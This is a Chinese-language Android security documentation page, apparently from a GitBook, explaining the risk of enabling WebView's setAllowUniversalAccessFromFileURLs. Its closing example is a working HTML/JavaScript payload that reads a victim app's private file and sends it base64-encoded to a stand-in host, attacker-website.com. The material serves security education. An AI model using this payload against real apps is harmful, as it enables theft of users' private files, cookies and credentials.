> For the complete documentation index, see [llms.txt](https://gitbook.cdxiaodong.life/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.cdxiaodong.life/android-ying-yong-an-quan/webview-vulnerabilities/web-settings.md).

# WebSettings漏洞

## WebSettings 概述

[WebSettings](https://developer.android.com/reference/android/webkit/WebSettings) 管理 WebView 的设置状态。当首次创建 WebView 时，它会获得一组默认设置。从 [WebView#getSettings()](https://developer.android.com/reference/android/webkit/WebView#getSettings%28%29) 获得的 WebSettings 对象与 WebView 的生命周期相关联。

## 安全问题

### setAllowUniversalAccessFromFileURLs

[setAllowUniversalAccessFromFileURLs](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs%28boolean%29) 设置是否应允许在文件方案 URL 上下文中的跨域请求访问来自**任何来源**的内容。这包括访问来自其他文件方案 URL 或 Web 上下文的内容。自 Android 4.1 以来，默认值为 `false`。

{% hint style="info" %}
此方法在 API 级别 30 中已弃用
{% endhint %}

启用此设置允许在 `file://` 上下文中加载的恶意脚本启动跨站点脚本攻击，访问任意本地文件，包括 WebView cookie、应用私有数据，甚至在任意网站上使用的凭据。

例如，如果应用允许您在 WebView 中打开任意链接，您可以传递到共享 HTML 文件的路径，该文件具有以下内容以窃取私有文件：

```html
<!-- file:///sdcard/index.html -->
<script>
    var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt';
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText));
        }
    }
    xhr.open('GET', url, true);
    xhr.send('');
</script>
```
